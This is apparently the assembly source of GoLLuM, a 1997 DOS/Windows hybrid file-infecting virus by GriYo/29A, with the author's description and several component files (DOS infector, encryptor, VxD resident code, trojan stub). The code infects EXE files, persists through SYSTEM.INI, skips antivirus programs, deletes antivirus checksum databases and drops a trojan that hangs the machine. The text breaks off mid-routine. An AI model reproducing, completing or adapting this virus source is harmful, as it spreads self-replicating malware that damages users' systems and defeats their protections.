03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh

; ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ; ³ GoLLuM ViRuS - BioCoded by GriYo/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; ³ CopyRight (c) 1997 All RiGhts ReseRVed ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ; ³ World's first DOS/Win hybrid ever ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ; ; GoLLuM is the very first hybrid DOS-Windows virus ever... it infects DOS ; EXE files only when they're executed inside a DOS window under any of ; the known versions of Microsoft Windows (Windows 3.1x, Windows95...). It ; becomes resident as a virtual device driver when Windows starts, and ; then hooks V86 int 21h in order to monitor file execution, trying to in; fect more files under DOS sessions. ; ; When an EXE file is executed inside a MS-DOS window, GoLLuM will attach ; itself to the end of the file (it copies first its DOS code and then the ; VxD file, both of them encrypted with a simple 'not' operation). GoLLuM ; will not infect files that have digits or the 'V' character in their na; mes (this includes AVP, MSAV, CPAV...), as well as Thunderbyte utilities ; (TB*.*), McAffee shit and F-Prot. ; ; The virus also deletes some AV database files (ANTI-VIR.DAT, CHKLIST.MS, ; AVP.CRC, IVB.NTZ and CHKLIST.TAV) whenever it infects a file. When these ; infected files are run, GoLLuM inserts the string 'DEVICE=GOLLUM.386' ; into the [386Enh] section of the SYSTEM.INI file, and then drops its VxD ; file into the Windows \SYSTEM directory. ; ; The encryption used by GoLLuM consists on a simple 'not' operation, but ; the decryptor contains a little emulation trick (try to TbClean it!). ; Besides, it contains a date-triggered event, in which it will drop tro; jan files (using the DOS stub in its VxD file). ; ; I wrote this just for fun while learning something on VxD coding. GoLLuM ; consists on the following files: ; ; GOLLUM.ASM DOS virus code ; CRYPT.ASM Code used to encrypt DOS virus code ; WGOLLUM.MAK VxD makefile ; WGOLLUM.DEF VxD def file ; VXDSTUB.ASM VxD stub used in trojans ; WGOLLUM.ASM VxD virus code ; ASSEMBLE.BAT Batch file used to build GOLLUM.INC ; ; - -[GOLLUM.ASM - DOS virus code]- - - - - - - - - - - - - - - - - - - ->8 I_am_GoLLuM Header_Size VxD_File_Size Decryptor_Size All_Size Assume segment para 'CODE' equ 1Ch equ 6592 equ offset Bilbo_Dead equ offset Old_Header+(Header_Size+VxD_File_Size) cs:I_am_GoLLuM,ds:I_am_GoLLuM,es:I_am_GoLLuM,ss:I_am_GoLLuM

;Virus entry point (code inserted intro infected .EXE files) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ GoLLuM_Entry_Point: ;Get delta offset stored on infection mov bp,0000h ;Save segment regs push ds push es ;Point segment regs to our code mov ax,cs

mov ds,ax mov es,ax ;Decrypt virus and VxD file mov si,offset Bilbo_Dead add si,bp mov di,si mov cx,(All_Size-Decryptor_Size+01h)/02h Decrypt_Gollum: ;Dont let GoLLum be emulated (Meeethyyyl! ;) cld lodsw push ax pop ax cli sub sp,0002h pop ax sti not ax cld stosw loop Decrypt_Gollum ;Clear prefetch db 0EBh,00h ;Drop GOLLUM.386 file and insert DEVICE=GOLLUM.386 into SYSTEM.INI ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Bilbo_Dead: ;Find SYSTEM.INI file mov si,offset Win_Sys_Table add si,bp mov cx,0005h cld Search_Loop: lodsw mov dx,ax add dx,bp ;Open file (read/write access) mov ax,3D02h int 21h jnc Open_Ok ;Try next file name loop Search_Loop jmp Gollum_Leave Open_Ok: ;Save SYSTEM.INI file handle mov word ptr cs:[System_Handle][bp],ax ;Build VxD file name mov si,dx mov di,offset VxD_File add di,bp mov dx,di Copy_Directory: lodsb cmp al,"." je Found_Extension stosb jmp Copy_Directory Found_Extension: ;Insert the path separator mov al,"\" stosb ;Insert the name of the VxD file

mov si,offset Device_String+09h add si,bp mov cx,000Ah rep movsb ;Put the null marker xor al,al stosb ;Create de VxD file, abort if exist mov ah,5Bh xor cx,cx mov dx,offset VxD_File add dx,bp int 21h jc Close_Sys ;Write VxD to file xchg bx,ax mov ah,40h mov dx,offset Old_Header+Header_Size add dx,bp mov cx,VxD_File_Size int 21h jnc ok_VxD_Write ;Close VxD file if error... mov ah,3Eh int 21h ;...and delete it! mov ah,41h mov dx,offset VxD_File add dx,bp int 21h Close_Sys: mov bx,word ptr cs:[System_Handle][bp] jmp Exit_Infection ok_VxD_Write: ;Get handle of SYSTEM.INI file mov bx,word ptr cs:[System_Handle][bp] ;Seek to EOF mov ax,4202h xor cx,cx xor dx,dx int 21h jc Bad_Size ;Strange! SYSTEM.INI file too big or dx,dx jnz Bad_Size cmp ax,VxD_File_Size jb Size_Ok Bad_Size: jmp Exit_Infection Size_Ok: ;Save SYSTEM.INI file size mov word ptr cs:[System_Size][bp],ax ;Seek to BOF mov ax,4200h xor cx,cx xor dx,dx int 21h jc Bad_Size ;Read SYSTEM.INI over VxD file copy mov ah,3Fh mov cx,word ptr cs:[System_Size][bp] mov dx,offset Old_Header+Header_Size add dx,bp

int 21h jc bad_size ;Check if SYSTEM.INI have been infected mov cx,word ptr cs:[System_Size][bp] mov di,dx mov al,"G" Do_Inspect: cld repne scasb or cx,cx jz System_Clean ;Exit if already resident cmp word ptr es:[di],"LO" jne Do_Inspect cmp word ptr es:[di+02h],"UL" jne Do_Inspect jmp Exit_Infection System_Clean: ;Search for [386Enh] string mov cx,word ptr cs:[System_Size][bp] mov di,dx Section_Search: cld mov si,di lodsw cmp ax,"3[" jne Next_Char lodsw cmp ax,"68" je Section_Found Next_Char: inc di loop Section_Search ;Section not found, abort jmp Exit_Infection Section_Found: ;Save distance from [386Enh] string to EOF mov ax,0008h sub cx,ax add di,ax sub word ptr cs:[System_Size][bp],cx ;Seek next to [386Enh] string mov ax,4202h mov dx,cx neg dx xor cx,cx dec cx int 21h jc Exit_Infection ;Write our load string mov ah,40h mov cx,0015h mov dx,offset Device_String add dx,bp int 21h jc Exit_Infection ;Write the rest of SYSTEM.INI file mov ah,40h mov cx,word ptr cs:[System_Size][bp] mov dx,di int 21h Exit_Infection: ;Close file (bx=handle)

mov ah,3Eh int 21h ;Get control back to host ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Gollum_Leave: ;Restore segment registers pop es pop ds ;File SYSTEM.INI not found, return to host mov ah,62h int 21h add bx,10h add word ptr cs:[exe_cs][bp],bx ;Restore stack cli add bx,word ptr cs:[Old_Header+0Eh][bp] mov ss,bx mov sp,word ptr cs:[Old_Header+10h][bp] sti ;Clear some regs xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp ;Clear prefetch db 0EBh,00h ;Jump to original entry point db 0EAh exe_ip dw 0000h exe_cs dw 0000h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;String table Win_Sys_Table dw offset Win_Sys_01h dw offset Win_Sys_02h dw offset Win_Sys_03h dw offset Win_Sys_04h dw offset Win_Sys_05h ;Posible locations of SYSTEM.INI file Win_Sys_01h db "C:\WINDOWS\SYSTEM.INI",00h Win_Sys_02h db "C:\WIN\SYSTEM.INI",00h Win_Sys_03h db "C:\WIN31\SYSTEM.INI",00h Win_Sys_04h db "C:\WIN311\SYSTEM.INI",00h Win_Sys_05h db "C:\WIN95\SYSTEM.INI",00h ;Buffer where virus build VxD file name and path VxD_File db 20h dup (00h) ;String inserted into SYSTEM.INI Device_String db 0Dh,0Ah,"DEVICE=GOLLUM.386",0Dh,0Ah ;Misc data System_Size dw 0000h System_Handle dw 0000h ;Next bytes = Old .EXE header + VxD file copy Old_Header equ this byte ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I_am_GoLLuM ends end GoLLuM_Entry_Point

; - -[CRYPT.ASM - Code used to encrypt DOS virus code]- - - - - - - - - ->8

vir_test

segment para 'CODE' Assume cs:vir_test,ds:vir_test,es:vir_test,ss:vir_test org 0000h mov ax,cs mov ds,ax mov es,ax mov ax,3D00h mov dx,offset f_name int 21h jc exit_prog xchg bx,ax mov ah,3Fh mov cx,0FFFFh mov dx,offset copy int 21h jc close_file push ax mov ah,3Eh int 21h jc close_file mov si,offset copy+0027h mov di,si mov cx,9000 cld

Start:

encrypt: lodsb not al stosb loop encrypt mov ah,3Ch xor cx,cx mov dx,offset x_name int 21h jc exit_prog xchg bx,ax mov ah,40h mov dx,offset copy pop cx int 21h close_file: mov ah,3Eh int 21h exit_prog: mov ax,4C00h int 21h f_name db "GOLLUM.BIN",00h x_name db "GOLLUM.CRP",00h copy db 10000 dup (00h) vir_test ends end Start ; - -[WGOLLUM.MAK - VxD makefile] - - - - - - - - - - - - - - - - - - - ->8 # file: wgollum.mak (VxD makefile) all : wgollum.exe vxdstub.obj: vxdstub.asm masm -Mx -p -w2 vxdstub; vxdstub.exe: vxdstub.obj link vxdstub.obj;

wgollum.obj: wgollum.asm .\debug.inc .\vmm.inc .\shell.inc masm5 -p -w2 -Mx $(Debug) wgollum.asm; objs = wgollum.obj wgollum.386: vxdstub.exe wgollum.def $(objs) link386 @wgollum.lnk addhdr wgollum.386 mapsym32 wgollum wgollum.exe: wgollum.386 copy wgollum.386 wgollum.exe ; - -[WGOLLUM.DEF - VxD def file] - - - - - - - - - - - - - - - - - - - ->8 library description stub exetype segments _ltext _ldata _itext _idata _text _data preload nondiscardable preload nondiscardable class 'icode' discardable class 'icode' discardable class 'pcode' nondiscardable class 'pcode' nondiscardable wgollum 'GoLLuM ViRuS for Microsoft Windows© by GriYo/29A' 'vxdstub.exe' dev386

; - -[VXDSTUB.ASM - VxD stub used in trojans] - - - - - - - - - - - - - ->8 name vxdstub _TEXT segment word public 'CODE' assume cs:_TEXT,ds:_TEXT,es:_TEXT ;Activation routine ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ vxdstub proc far ;Segment regs! mov ax,cs mov ds,ax mov es,ax ;Set video mode 80x25x16c mov ax,0003h int 10h ;Print "Gollum!" mov ax,1301h mov bx,0002h mov cx,0007h mov dx,0A24h mov bp,offset Gollum_Says int 10h ;Endless loop Dead_Zone: ;Aaaarrrgggghhhhh!!!! jmp Dead_Zone ;Text printed on screen Gollum_Says db "GoLLum!" vxdstub endp

_TEXT ends end vxdstub ; - -[WGOLLUM.ASM - VxD virus code] - - - - - - - - - - - - - - - - - - ->8 .386p ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Includes ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ.XLIST INCLUDE Vmm.Inc INCLUDE SheLL.Inc .LIST ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virtual device declaration ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄDeclare_Virtual_Device WGoLLuM,03h,00h,WGoLLuM_Control,Undefined_Device_ID,,, ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Initialization data segment ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄVxD_IDATA_SEG VxD_Installation_Title db "GoLLuM ViRuS by GriYo/29A",00h VxD_Installation_Msg db "Deep down here by the dark water lived old " db "Gollum, a small slimy creature. I dont know " db "where he came from, nor who or what he was. " db "He was a Gollum -as dark as darkness, except " db "for two big round pale eyes in his thin face." db 0Dh,0Ah,0Dh,0Ah db "J.R.R. ToLkieN ... The HoBBit" db 0Dh,0Ah,0Dh,0Ah db 00h VxD_IDATA_ENDS ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Local locked data segment ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄVxD_LOCKED_DATA_SEG Header_Size VxD_Size equ 001Ch equ 6592 ;Dos .EXE header size ;VxD file size

ALIGN DWORD DOS_Virus_Code equ this byte ;Start of Dos virus code include gollum.inc ;Load Dos virus code Header_Copy db Header_Size dup (00h) ;Buffer for old .EXE header DOS_Virus_End equ this byte DOS_Virus_Size equ (DOS_Virus_End-DOS_Virus_Code) Our_Own_Call_Flag db "EERF" ;Dos call from virus? File_Size dd 00000000h ;Size of file to infect Start_FileName dd 00000000h ;Filename start VxD_Buffer db 0200h dup (00h) ;VxD file copy Infect_FileName db 80h dup (00h) ;Last executed file File_Header db Header_Size dup (00h) ;Infected .EXE header VxD_File_Name db 80h dup (00h) ;Path of virus VxD Gollum_Name db "GOLLUM.386",00h ;Name of virus VxD file Trojan_File_Name db "GOLLUM.EXE",00h ;Generated trojans

CheckSum_File_00: CheckSum_File_01: CheckSum_File_02: CheckSum_File_03: CheckSum_File_04: Gollum_Handle Victim_Handle File_Attr File_Time File_Date VxD_LOCKED_DATA_ENDS

db db db db db dw dw dw dw dw

"ANTI-VIR.DAT",00h "CHKLIST.TAV",00h "CHKLIST.MS",00h "AVP.CRC",00h "IVB.NTZ",00h 0000h 0000h 0000h 0000h 0000h

;Names of av databases

;VxD file handle ;Victim file handle ;Victim file attr ;Victim file time ;Victim file date

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Initialization code segment ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄVxD_ICODE_SEG ;This is the virus startup code (Sys_Critical_Init) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ BeginProc WGoLLuM_Sys_Critical_Init ;Get path of WIN386.EXE VMMCall Get_Exec_Path ;Copy path to our buffer mov esi,edx mov edi,OFFSET32 VxD_File_Name cld rep movsb mov esi,OFFSET32 Gollum_Name mov ecx,0Bh cld rep movsb ;Return, Sys_Critical_Init complete clc ret EndProc WGoLLuM_Sys_Critical_Init ;This is the virus startup code (Device_Init) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ BeginProc WGoLLuM_Device_Init ;Hook int 21h so we can monitor dos file operations mov eax,21h mov esi,OFFSET32 VxD_Int_21h VMMcall Hook_V86_Int_Chain clc ret EndProc WGoLLuM_Device_Init ;This is the virus startup code (Init_Complete) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ BeginProc WGoLLuM_Init_Complete ;Check current date mov ah,04h VxDint 1Ah

cmp dx,0604h jne short Not_Yet ;Display instalation msg VMMCall Get_SYS_VM_Handle xor eax,eax mov ecx,OFFSET32 VxD_Installation_Msg mov edi,OFFSET32 VxD_Installation_Title VxDcall Shell_SYSMODAL_Message Not_Yet: ;Return, Sys_Critical_Init complete clc ret EndProc WGoLLuM_Init_Complete VxD_ICODE_ENDS ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Locked code segment ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄVxD_LOCKED_CODE_SEG ;This is a call-back routine to handle the messages that are sent ;to VxD's to control system operation ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ BeginProc WGoLLuM_Control Control_Dispatch Sys_Critical_Init, WGoLLuM_Sys_Critical_Init Control_Dispatch Device_Init, WGoLLuM_Device_Init Control_Dispatch Init_Complete, WGoLLuM_Init_Complete clc ret EndProc WGoLLuM_Control ;This is the virus int 21h handler ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ BeginProc VxD_Int_21h, High_Freq ;Save regs pushad ;Check for our own calls (avoid recursive int 21h calls) cmp dword ptr [Our_Own_Call_Flag],"BUSY" je short Exit_VxD_Int_21h ;Set flag mov dword ptr [Our_Own_Call_Flag],"BUSY" ;Get called function mov ax,word ptr [ebp.Client_AX] ;Check for Exec function calls cmp ax,4B00h je short Store_FileName ;Check for Terminate with error-code 00h function calls cmp ax,4C00h je short Infect_Stored_FileName cmp ah,3Bh je Drop_Exe_Trojan Exit_VxD_Int_21h: ;Clear flag mov dword ptr [Our_Own_Call_Flag],"FREE" ;Restore regs

popad ;Int not served yet stc ret ;Save file name for later infection ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Store_FileName: ;Save filename into our buffer movzx edx,word ptr [ebp.Client_DX] movzx eax,word ptr [ebp.Client_DS] shl eax,04h add eax,edx mov esi,eax mov edi,OFFSET32 Infect_FileName Go_Thru_Filename: cld lodsb stosb or al,al jnz Go_Thru_Filename jmp Exit_VxD_Int_21h ;Infect stored file name ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Infect_Stored_FileName: ;Check if working on C: drive mov esi,OFFSET32 Infect_FileName cmp word ptr [esi],":C" jne Infect_Error Look_End: ;Find null marker into filename cld lodsb or al,al jnz Look_End Found_Tail: ;Search begin of file name dec esi mov ecx,0080h Look_Start: std lodsb ;Do not infect files with V character in their names cmp al,"V" je Infect_Error ;Do not infect files with digit in their names cmp al,"0" jb short Check_Start cmp al,"9" jbe Infect_Error Check_Start: cmp al,"\" je short Check_Names loop Look_Start ;Begin of file name not found, tchhh... jmp Infect_Error Check_Names: inc esi inc esi ;Save pointer to file name start

mov dword ptr [Start_FileName],esi cld lodsd ;Check for SCAN cmp eax,"NACS" je Infect_Error ;Check for F-PROT cmp eax,"RP-F" je Infect_Error ;Avoid THUNDERBYTE shit cmp ax,"BT" je Infect_Error ;Get file attr mov ax,4300h mov edx,OFFSET32 Infect_FileName VxDint 21h jc Infect_Error ;Save file attr mov word ptr [file_attr],cx ;Wipe out attr mov ax,4301h xor cx,cx VxDint 21h jc Infect_Error ;Open file to infect mov ax,3D02h mov edx,OFFSET32 Infect_FileName VxDint 21h jc Restore_Attr ;Get file handler mov word ptr [Victim_Handle],ax xchg bx,ax ;Get file date/time mov ax,5700h VxDint 21h jc Infect_Close ;Save file date time mov word ptr [File_Time],cx mov word ptr [File_Date],dx ;Read file header mov ah,3Fh mov ecx,Header_Size mov edx,OFFSET32 File_Header VxDint 21h jc Restore_Date_Time ;Seek to EOF and get real file size call Seek_File_End jc Restore_Date_Time ;Do not infect too small files cmp eax,DOS_Virus_Size+VxD_Size jbe Restore_Date_Time Test_EXE_File: ;Point esi to file header mov esi,OFFSET32 File_Header ;Check dos .EXE file type mark cmp word ptr [esi],"ZM" jne Restore_Date_Time ;Check if file is infected cmp word ptr [esi+12h],"CR" je Restore_Date_Time ;Don't infect Windows files or above cmp word ptr [esi+19h],0040h jae Restore_Date_Time

;Don't infect overlays cmp word ptr [esi+1Ah],0000h jne Restore_Date_Time ;Check maxmem field cmp word ptr [esi+0Ch],0FFFFh jne Restore_Date_Time ;Save entry point push eax mov eax,dword ptr [esi+14h] ;Crypt it! not eax mov dword ptr [DOS_Virus_Code+0177h],eax pop eax ;Make a copy of .exe file header push esi mov edi,OFFSET32 Header_Copy mov ecx,Header_Size Copy_Loop: cld lodsb not al stosb loop Copy_Loop pop esi ;Get file size into dx:ax mov eax,dword ptr [File_Size] mov edx,eax shr edx,10h ;Get file size div 10h mov cx,0010h div cx ;Sub header size sub ax,word ptr [esi+08h] ;New entry point at EOF mov word ptr [esi+14h],dx mov word ptr [esi+16h],ax ;Save delta offset mov word ptr [DOS_Virus_Code+0001h],dx ;Set new offset of stack segment in load module inc ax mov word ptr [esi+0Eh],ax ;Set new stack pointer beyond end of virus add dx,DOS_Virus_Size+VxD_Size+0200h ;Aligment and dx,0FFFEh mov word ptr [esi+10h],dx ;Get file size into dx:ax mov eax,dword ptr [File_Size] mov edx,eax shr edx,10h ;Get file size div 0200h mov cx,0200h div cx or dx,dx jz short Size_Round_1 inc ax Size_Round_1: ;Check if file size is as header says cmp ax,word ptr [esi+04h] jne Restore_Date_Time cmp dx,word ptr [esi+02h] jne Restore_Date_Time ;Get file size into dx:ax

mov eax,dword ptr [File_Size] mov edx,eax shr edx,10h ;Add virus size to file size add ax,DOS_Virus_Size+VxD_Size adc dx,0000h ;Get infected file size div 0200h mov cx,0200h div cx or dx,dx jz short Size_Round_2 inc ax Size_Round_2: ;Store new size mov word ptr [esi+02h],dx mov word ptr [esi+04h],ax ;Write DOS virus area next to EOF mov ah,40h mov ecx,DOS_Virus_Size mov edx,OFFSET32 DOS_Virus_Code VxDint 21h jc Restore_Date_Time ;Open Gollum VxD file mov ax,3D00h mov edx,OFFSET32 VxD_File_Name VxDint 21h jc Restore_Date_Time ;Save file handler mov word ptr [Gollum_Handle],ax Read_VxD_Block: ;Read VxD file block mov ah,3Fh mov bx,word ptr [Gollum_Handle] mov ecx,0200h mov edx,OFFSET32 VxD_Buffer VxDint 21h push eax ;Encrypt block mov esi,edx mov edi,edx mov cx,0200h Crypt_Loop_3: cld lodsb not al stosb loop Crypt_Loop_3 ;Write block pop ecx mov ah,40h mov bx,word ptr [Victim_Handle] VxDint 21h cmp cx,0200h je Read_VxD_Block ;Close file mov bx,word ptr [Gollum_Handle] mov ah,3Eh VxDint 21h ;Seek to beginning of file mov bx,word ptr [Victim_Handle] call Seek_File_Start ;Mark file as infected mov esi,OFFSET32 File_Header

mov word ptr [esi+12h],"CR" ;Write new header mov ah,40h mov cx,Header_Size mov edx,esi VxDint 21h ;Delete ANTI-VIR.DAT mov esi,OFFSET32 CheckSum_File_00 call Delete_File ;Delete CHKLIST.TAV mov esi,OFFSET32 CheckSum_File_01 call Delete_File ;Delete CHKLIST.MS mov esi,OFFSET32 CheckSum_File_02 call Delete_File ;Delete AVP.CRC mov esi,OFFSET32 CheckSum_File_03 call Delete_File ;Delete IVB.NTZ mov esi,OFFSET32 CheckSum_File_04 call Delete_File Restore_Date_Time: mov ax,5701h mov cx,word ptr [File_Time] mov dx,word ptr [File_Date] VxDint 21h Infect_Close: ;Close file mov ah,3Eh VxDint 21h Restore_Attr: ;Restore file attr mov ax,4301h mov cx,word ptr [File_Attr] mov edx,OFFSET32 Infect_FileName VxDint 21h Infect_Error: jmp Exit_VxD_Int_21h ;Drop a trojan .EXE file (sometimes) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Drop_Exe_Trojan: ;This is our dice in ax,40h cmp al,0FFh jne Bad_OverWrite ;Open Gollum VxD file mov ax,3D00h mov edx,OFFSET32 VxD_File_Name VxDint 21h jc Bad_OverWrite ;Save file handler mov word ptr [Gollum_Handle],ax ;Create file, abort if exist mov ah,5Bh xor cx,cx mov edx,OFFSET32 Trojan_File_Name VxDint 21h jc short Bad_OverOpen ;Save file handler mov word ptr [Victim_Handle],ax Trojanize_Block: ;Read VxD file block

